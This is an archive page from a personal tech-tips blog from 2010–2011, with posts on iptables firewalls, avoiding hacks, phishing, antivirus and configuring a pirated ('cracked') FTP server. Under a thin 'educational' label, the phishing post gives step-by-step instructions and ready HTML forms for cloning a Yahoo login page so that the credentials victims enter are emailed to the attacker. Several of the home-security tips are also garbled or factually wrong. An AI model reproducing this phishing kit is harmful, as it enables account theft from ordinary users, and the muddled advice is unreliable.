how to protect computer from hackers: PC Tips by Anu

Showing posts with label how to protect computer from hackers. Show all posts

Tuesday, March 22, 2011

Linux Firewalls – Attack detection and response with iptables, PSAD, and FWSNORT.

Tuesday, March 22, 2011

Anu

I seem to work best at night, it’s dark out, and generally quite dark inside too; there is more bandwidth because it is off peek, and in general there is nobody coming over or phoning and interrupting me. Incidentally, its also when I do the majority of my reading, at home; in bed, at night. Much more pleasant that way…

PSAD

Anyway, the latest tut I have been post is called “Linux Firewalls – Attack detection and response with iptables, PSAD and FWSNORT” – the site where PSAD, FWSNORT and a fair few other Linux and security tools are developed. Now, you may think that with a title like that your going to have to know a lot about Linux and Firewalls before you begin but that is simply not true, Linux Firewalls takes you right from the very start of how iptables works to manually porting Snort rules over to iptables for detection, and in my humble opinion, it does a damn good job of it. In fact, it done such a good job of it, I have used the reference firewall scripts and PSAD configurations to install and configure iptables and PSAD on my new VPS, which I will hopefully be moving some of my sites to.

Some of the things you should probably have already if you want to get the best out of Linux Firewalls is…

A comfortable familiarity with the distribution of Linux you wish to use.
Basic understanding of how networks communicate.
Reasonable understanding of how TCP works (ie. the three way handshake)
Reasonable understanding of how UDP works
A system to test this stuff on, if you don’t have a system to test this stuff out on, you could always set up a few virtual machines using VirtualBox or VMWare.
A will to learn about this kind of stuff

Missing any one of these things (except the will to learn, thats pretty important) probably isn’t going to be a huge deal, but if your missing a lot of them, you might struggle a bit with some of the concepts.

Here is a sample of one of the basic Linux Firewall scripts that I have adapted from the book…

#!/bin/sh
 
#Port and IP addresses changed to protect the innocent.
 
IPTABLES=/sbin/iptables
MODPROBE=/sbin/modprobe
 
### Flush existing rules and settings. Set to default drop.
echo "[+] Flushing existing iptables rules..."
$IPTABLES -F
$IPTABLES -X
#$IPTABLES -t nat -F
CLICK HERE TO DOWNLOAD FULL SCRIPT (1.82KB)

I hope that this imprompt topics at least some help to you.

Thnks...

Tuesday, March 8, 2011

What you can do to help prevent from being hacked?

Tuesday, March 08, 2011

Anu

This is a very serious Situation for all of use since we are all in a technological age to were we use phones and computers to help with our day to day lives

Sadly I have been a victim of Hacking a few times once during the end of the year some one Hacked in to my Pay pall account and stole 271 dollars and again just recently some one hacked into my e-mail account and was sending all types of Porn and spam mail to my friends and family

Talk about embarrassing when Your Dad calls you to ask why you have sent him a link to your ADULT web sight

So I thought this form would be a good Idea to have so we can share Ideas on what to do when you are hacked and ways of helping Preventing it form Happening

To Prevent it form happening

*Change your pass words often
I know that its simple to keep the same password the same but believe me when I say the computer biological code is 010011001 and those represent not only numbers but also letters

*Clear Private Data from your web browser
Most if not all internet browser have away to clear private data as well as cookies from your computer. Not only dose this help protect you passwords it also helps Keep your computer in good Maintenances.

*For Passwords Uses a Series of Capital letters and numbers
This will actually give you a stronger protection then any thing else.The stronger your password the harder it is for you to be hacked

*Get some sort of Malware scanner for your computer
believe it or not most virus and hacks happen because of Malware on your computer.Malware are found most of the times in the pop-ups that happen on your computer

*If you Have a pop-up blocker on your browser uses it
Those pop up protection's are there for your safety and if you clear your private data the pop-up counter will also be cleared

*Be sure to run virus scans and Malware scans regularly
This not only protects your computer it protects you too a lot of your Private information is stored on your computer hard drive.

How to clear Private Data

This is Pretty simple
* Find the tools tab on your browser and click down to Clear Private data
* Once the tab for clear private data you wanna make sure every box is checked by doing this it also erases any saved password you might have on your browser

* Click the Clear Private Data now button and you are done all of your private data has been erased You have also bee longed out of any account that might have been opened that you forgot about

If you are Hacked

* Change all password and Pins As soon as possible

* Tell Family and Friends so they can advise you if they receive any thing that you did not send them*

* Run every scan you have to check for malwear and virus

* Clear all private data on every browser

FEW MORE TIPS

Regularly download your updates for your Operating System, especially if you use Microsoft Windows, and any version of XP, Vista, and Windows 7. Microsoft OS's are always patchy, and full of bugs, protect yourself by staying up to date.

Regularly download and update the virus definitions for your Anti-Virus program, whether its bought off the shelf, or freeware like AVG. This will help to protect your PC from Malware and Virus infection.

Don't turn your Anti-Virus program off, leave it on at all times, especially when you use the Internet, are connected to the Internet, disconnect from the Internet, and when you use USB flash-drives, and external devices like an external hard-drive. Viruses can be copied onto your PC from a USB Flash drive, it happens.

If you use any kind of device with a portable onboard memory that 'plugs' into your PC, like a USB Flash Drive or an MP3 Player, use your Anti-Virus program and 'scan it' for viruses. It's that easy to infect your PC with a virus if you don't take proper precautions and scan the USB flash drive when you first plug it in. If you are switching the Flash drive between different PC's you can easily infect the other PC if there's a virus on one already.

Becareful what you download. Avoid Peer-to-Peer programs like Kazaa, and Q-Lite where you can join a global network of PC's and download stuff. You could be downloading viruses, and trojans too.

Avoid websites that your Anti-Virus program pops up a warning about. Get out of there and leave the place. It's likely to be fairly bad for your PC if you hand around.

Becareful of downloading 'Freeware' that is software that is opensource, an you can download and use for free. If you want opensource packages like OpenOffice, go to the actual developer's website and download it from there directly, or find a reputable website with good online security, and download it there. Don't go to third-party sites.

Do not give out your passwords to anyone. You wouldn't give a stranger the keys to your house. Think first, and be sensible.

Be cautious about using different websites to buy stuff online. Check out their security policies first, especially for end-user protection, changing of passwords, and secure logins to the website itself, data-encryption, and protection of passwords.
If you are ever about to 'login' to a website login the 'Secure' way. Check the address bar and the URL (that's the thing that reads WWW.WEBSITE.COM). If you can login securely it should have this: 'HTTPS:' in place of the 'HTTP:' before the website URL address, in the address bar in your browser window. The HTTPS stands for the 'Secure Hypertext Transfer Protocol' it means that when you login your password is encrypted. Banks use this type of login alot when you use online banking. The web address for secure login should read (HTTPS: before the website URL).

Clear cookies, caches, and browser history regularly.

Do not write your passwords down on your PC, it doesn't take much for a person to plant a keylogger program onboard your hard-drive, so that they can record every keystroke you make.

If you shop online using a direct debit card or a credit card, check out with your bank on what security measure you can take to protect yourself on their end, and make certain that you only shop with websites that have a stringent, and tight online security and protection policy.

Regularly use your Anti-Virus program and do a 'Full System Scan' or a 'Whole System Scan' to scan every single inch of your computer's internal hard-drive to detect for viruses.

I can only hope and pray that this information helps you from getting hacked as well. If you have tips for helping or preventing Hacking please feel free to share your tips.

Can't think of anything else at the moment...

tHANKS...

Monday, February 21, 2011

How to protect from being hacked via phishing?

Monday, February 21, 2011

Anu

What is PHISHING?
Phishing is a way of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail or instant messaging,

Protect Yourself

Rather than using the provided link in the email, you should copy the link and email it to the legitimate company or business, asking if the email is legitimate. If it is frudlante this could help shut down phisher faster.
Only use the address that you have used before, or start at your normal homepage.
Most companies require you to log in to a secure site. Look for the lock at the bottom of your browser and “https” in front of the Website address.

Know what Hackers Do !

This section Tells u what Hackers Do which is Known as Phishing, It is Completely Illegal never ever Try it.. This Article is meant for Educational Purpose !

This is how Bad Hackers make a fake login page(Completely Illegal) that will email you the name and password that is entered on that page.. To do this you will need some web language experiance.
First you will need to get a copy of the source code of the site. so go to the login page then click file > save as > and save the page as "html only" or right click and select "view source" then copy and past it to a notepad file on your desktop and save it as login.html. either way youl need a copy of the login.html on your desktop.
now you will need to make sure all of the images on the page are linking to a valid URL. what you need to do is look for links like

Code:

And they change them to

Code:

or save all the images and host them on your own image hosting account.

Then check your page by opening it in your browser to make sure it looks like the real page with all the images showing up.
Now we have to enter the script that will mail us the name and pass. you have to look through your login.html and find the section of code that creates the login boxs and delete it. On Yahoo login this is the part of the source that needs to be replaced.

Code:

<table border="0" cellpadding="2" cellspacing="0"> <tr> <td align="right" nowrap><font face="arial" size="-1"> Yahoo! ID: </font></td> <td><input name="login" size="17" value=""></td> </tr> <tr> <td align="right" nowrap><font face="arial" size="-1">Password:</font></td> <td><input name="passwd" type="password" size="17" maxlength="32"></td></tr> <tr> <td colspan="2" nowrap align="center"><font face="arial" size="-1">

Now, this can be replaced by one of two things. If you understand PHP you could use a php mailing script as long as you have a host that allows the mail function or an apache server to host it on. Using php require 2 files.
The login.html and thanks.php To use php replace the previous login script shown above with the following html.

Code:

<html> <form method="POST" action="thanks.php"> Yahoo! ID <input type="TEXT" name="name"> <br> Password <input type="PASSWORD" name="password"> <br> <input type="SUBMIT" name="Submit" value="Login"> </form> </html>

And in the same folder put this script (unedited) to actually grab the entered info and mail it to you. thanks.php

Code:

They Call the second script thanks.php
This script will send Hackers your name, password, ip, operating system, and browser type to you in the email.

Now the second method isnt as good but can be hosted on ANY host, all they need to do is allow html which all hosts do. so this method can be hosted on a geocities account. You need to go to /http://www.response-o-matic.com and get thier free email script that can be dropped into any html.

You need to alter the script for it to work. I dont have an altered script at hand but if you guys dont have a host that allows php and the mail() function ill get the respocomatic script tomorow and edit it for you and post it here ready for you to drop straight ontop of the orriginal yahoo login code thats higlighted at the top of this page. its morning now and i'm tired lol.

This is the responcomatic code that you can drop over the login code on your login page. Just enter your email

Code:

<HTML> <BODY BGCOLOR="#FFFFFF"> <FORM action="http://www.response-o-matic.com/cgi-bin/rom.pl" method="POST"> <H3><CENTER> <INPUT TYPE="hidden" NAME="your_email_address" VALUE="YOUR_EMAIL@DOMAIN.COM"> <INPUT TYPE="hidden" NAME="your_name" VALUE="password"> <INPUT TYPE="hidden" NAME="email_subject_line" VALUE="My Password"> <INPUT TYPE="hidden" NAME="required_fields" VALUE="your_email_address"> <INPUT TYPE="hidden" NAME="thank_you_title" VALUE="You are being redirected"> <INPUT TYPE="hidden" NAME="return_link_url" VALUE="http://www.yahoo.com"> <INPUT TYPE="hidden" NAME="return_link_name" VALUE="CLICK HERE"> <INPUT TYPE="hidden" NAME="background_color" VALUE="#000000"> <INPUT TYPE="hidden" NAME="text_color" VALUE="#000000"> <INPUT TYPE="hidden" NAME="link_color" VALUE="#FF0000"> <INPUT TYPE="hidden" NAME="visited_link_color" VALUE="#FF0000"> <INPUT TYPE="hidden" NAME="active_link_color" VALUE="#FF0000"> </CENTER></H3> <H4> </H4> <BLOCKQUOTE><P><TABLE BORDER=0 CELLSPACING=0> <TR> <TD WIDTH=116> <b>Yahoo Name</b> </TD><TD> <INPUT TYPE="text" NAME="visitor_name" VALUE="" SIZE=20> </TD></TR> <TR> <TD WIDTH=116> <b>Password</b> </TD><TD> <INPUT TYPE="password" NAME="visitor_email_address" VALUE="" SIZE=20> </TD></TR> </TABLE></P> <BLOCKQUOTE><P><INPUT TYPE="submit" NAME=Submit" VALUE="Login"></P></BLOCKQUOTE> <P> </P> </FORM> </BODY> </HTML>

Where it says YOUR_EMAIL@DOMAIN.COM Hackers change that to the email They want the pass to be sent. . this isnt the finished script it still needs some work but its pretty much all done.

Thanks...

Sunday, September 5, 2010

How to protect your Computer from Hacker, Viruses and any other malicious softwares?

Sunday, September 05, 2010

Anu

Malicioussoftware, known as malware, affects many computers that are connectedto the Internet. Malware can get onto your computer without yourknowledge and cause it to become unreliable and slow. Malware oftenmakes itself known by opening unwanted windows and displayingadvertisements, but it also runs invisibly in the background. Malwaremight monitor and report on your Internet usage, send your privatefiles to people on the Internet, or even delete your data.

Malware falls into two broad categories:

1.	Viruses, worms, and Trojan horses.These types of software are clearly bad and offer no value to the user.Typically, the software either tricks the user into installing it ortakes advantage of a security vulnerability to install itself.
2.	Spyware and adware.These types of software might offer some value, such as the ability totrade files with other people on the Internet. However, they might alsodo things you don't want, such as monitor your Web usage, display ads,or install other software. Often this category of malware installsitself without your knowledge and is difficult to remove.

To protect yourself from malware, you need to do several things for every computer in your home:

•	Keep your software up to date.To prevent malware from taking advantage of software vulnerabilities inWindows and other programs, Microsoft and other software companiesregularly release updated software. Make sure to install the updates.You can set up Microsoft Windows XP to install updates automatically.
•	Install antivirus software to protect your computer from viruses, worms, and Trojan horses.
•	Install antispyware software to protect your computer from spyware and adware.

Anotherthing you can do to protect all the computers in your home is toinstall a router. A router is a networking device that goes betweenyour computer and the Internet. One of the functions of a router is toprovide protection with a firewall, which automatically blocks manyattacks from the Internet. If you have a wireless network or more thanone computer connected to the Internet, you probably already have arouter. If you're using Windows XP and have installed the necessary updates,you have a built-in firewall enabled by default. However, the firewallin the router is still useful because it provides an additional layerof protection (known as "belt-and-suspenders" protection).

Install antivirus software

Viruses,along with worms and Trojan horses, are types of malicious softwarethat install themselves on your computer without your knowledge. Thenthey attempt to replicate themselves to other computers across theInternet. Some viruses make your computer crash, delete your files,prevent your computer from starting, or expose your personalinformation to attackers on the Internet. Viruses are designed to hidethemselves from you, so they are difficult to find and remove.

Withoutantivirus software, there's a good chance your computer will beinfected by a virus. Antivirus software is different from other typesof software, because it must be updated often to detect and block newviruses that are released daily. Typically, you purchase an annualsubscription to use antivirus software and receive updates.
Most new computers come with antivirus software, so you might already have it installed.

To determine if you already have antivirus software installed on your computer

1.	Click Start, and then click Control Panel.
2.	From the Control Panel, click Security Center.

IfSecurity Center shows that Virus Protection is turned on, thenantivirus software is installed. However, this doesn't guarantee thatyou are protected. Open your antivirus program and make sure:

•	Your subscription is up to date.
•	Updates are set up for automatic download.
•	The program is set up to automatically scan your computer weekly.

If these three conditions are met, you are already protected from viruses. You can now install antispyware software.

However, if Security Center shows that Virus Protection is Not Found or that your antivirus subscription has expired, then purchase and install an antivirus program such as Windows Live OneCare. Many other software vendors also offer antivirus software.

Like : NORTON, QUICK H.....

Virus Protection Not Found warning

Install antispyware software

Spywareis a type of malware that can change your personal settings, sendinformation about your browsing habits to marketing companies, insertextra advertisements in Web pages, or perform other unwanted taskswithout your knowledge. Typically, spyware installs itself without yourpermission and hides on your computer. It's a program, but it might notappear in your All Programs group or in Add/Remove Programs. In fact,spyware might be installed on your computer right now without your evenknowing it.

Toprevent spyware from being installed, and to remove spyware that isalready on your computer, you need antispyware software. Antispywaresoftware searches your computer for signs that spyware is installed andthen gives you the option of uninstalling it. This is a challengingtask, because new spyware appears every day. Therefore, the people whomake antispyware software have to constantly identify new spyware,create new definitions to enable their software to find and remove thespyware, and then distribute the updated definitions to you. A numberof antispyware programs are available for download and require nosubscription fee.

If you use Microsoft Windows 2000 or Windows XP, you can download Microsoft Windows Defenderat no cost. Windows Defender is a powerful and easy-to-use tool foridentifying and removing most spyware installed on your computer.Windows Defender automatically downloads new updates, so it is alwaysready to protect your computer from newly released spyware.

Windows Defender Warning message

Youcan also use Windows Defender to find and remove spyware that hasalready been installed, so it's never too late to protect yourself fromspyware.

Windows Defender status screen

I think that this information is usefull for you.......

Sunday, May 30, 2010

Bulletproof FTP Server Tutorial

Sunday, May 30, 2010

Anu

Configuring your Bulletproof FTP Server Tutorial

I am not sure where I found this tutorial, It’s been a while…It might even have been here... ..So if it is one of yours, my hat goes off to you once again....

I thought that perhaps this tutorial might be pretty helpful for those interested in knowing how to configure their Bulletproof FTP Server that don't already know how... Here's how to get started…

This is for the BulletProof FTP Server 2.10. However, It should work fine on most following versions as well.

I'm assuming you have it installed and cracked.

Basics
1. Start the program.
2. Click on Setup > Main > General from the pull-down menu.
3. Enter your server name into the 'Server Name' box. Under Connection set the “Max number of users" to any number. This is the limit as to how many users can be on your sever at any time.
4. Click on the 'options' tab of that same panel (on the side)
5. Look at the bottom, under IP Options. Put a check in the box “Refuse Multiple Connections from the same IP”. This will prevent one person from blocking your FTP to others.
6. Also put a check in the 'Blocked Banned IP (instead of notifying client). VERY IMPORTANT! If somebody decides to 'Hammer' (attempt to login numerous times VERY quickly) your server/computer may CRASH if you don't enable this.
7. Click on the 'advanced' tab
8. At the bottom again look at the 'hammering area'
9. Enable 'anti-hammer' and 'do not reply to people hammering' Set it for the following: Block IP 120 min if 5 connections in 60 sec. You can set this at whatever you want to but that is pretty much a standard Click 'OK'

Adding Users
11. Setup > User accounts form pull-down.
12. Right click in the empty 'User Accounts' area on the right: choose 'Add'
13. Enter account name. (ie: logon name)
14. In the 'Access rights' box right click: choose ‘Add’.
15. Browse until you find the directory (folder) you want to share. In the right column you will see a bunch of checkboxes. Put a check in the following ones: Read, Write, Append, Make, List, and +Subdirs. Press 'select'.
16. Enter a password for your new FTP account.
17. Click on 'Miscellaneous' in the left column. Make sure 'Enable Account' is selected. Enable 'Max Number of Users' set it at a number other than zero. 1 for a personal account and more that one for a group account. Enable 'Max. no. of connects per IP' set it at 1

18. Under 'Files' enable 'show relative path' this is a security issue. A FTP client will now not be able to see the ENTIRE path of the FTP. It will only see the path from the main directory. Hide hidden flies as well.
Put a tick in both of these.

Advanced:
You don't need to do any of this stuff, but It will help tweak your server and help you maintain order on it. All of the following will be broken down into small little areas that will tell you how to do one thing at a time.

Changing the Port
The default port is always 21, but you can change this. Many ISPs will routinely do a scan of its own users to find a ftp server, also when people scan for pubs they may scan your IP, thus finding your ftp server. If you do decide to change it many suggest that you make the port over 10,000.
1. Setup > Main > General
2. In the 'Connection' Area is a setting labeled 'Listen on Port Number:'
3. Make it any number you want. That will be your port number.
4. Click 'OK'

Making an 'Upload Only' or 'Download Only' ftp server
This is for the entire SERVER, not just a user.
1. Setup > Main > Advanced
2. In the advanced window you will have the following options: uploads and downloads, downloads only, and uploads only. By default upload and download will be checked. Change it to whatever you want.
3. Click 'OK’

While you are running your server, usually you will end up spending more time at your computer than you normally do. Don't be afraid to ban IP's. Remember, on your FTP you do as you want.

When you are online you must also select the open server button next to the on-line button which is the on-line Button

You also have to use the actual Numbered ip Address ie: 66.250.216.67

Or even Better yet, get a no-ip.com address

Blog Archive

Popular Posts

Tuesday, March 22, 2011

Linux Firewalls – Attack detection and response with iptables, PSAD, and FWSNORT.

Tuesday, March 8, 2011

What you can do to help prevent from being hacked?

Monday, February 21, 2011

How to protect from being hacked via phishing?

Protect Yourself

Know what Hackers Do !

Code:

Code:

Code:

Code:

Code:

Sunday, September 5, 2010

How to protect your Computer from Hacker, Viruses and any other malicious softwares?

Install antivirus software

Install antispyware software

Sunday, May 30, 2010

Bulletproof FTP Server Tutorial

Followers

Facebook

Networked Blogs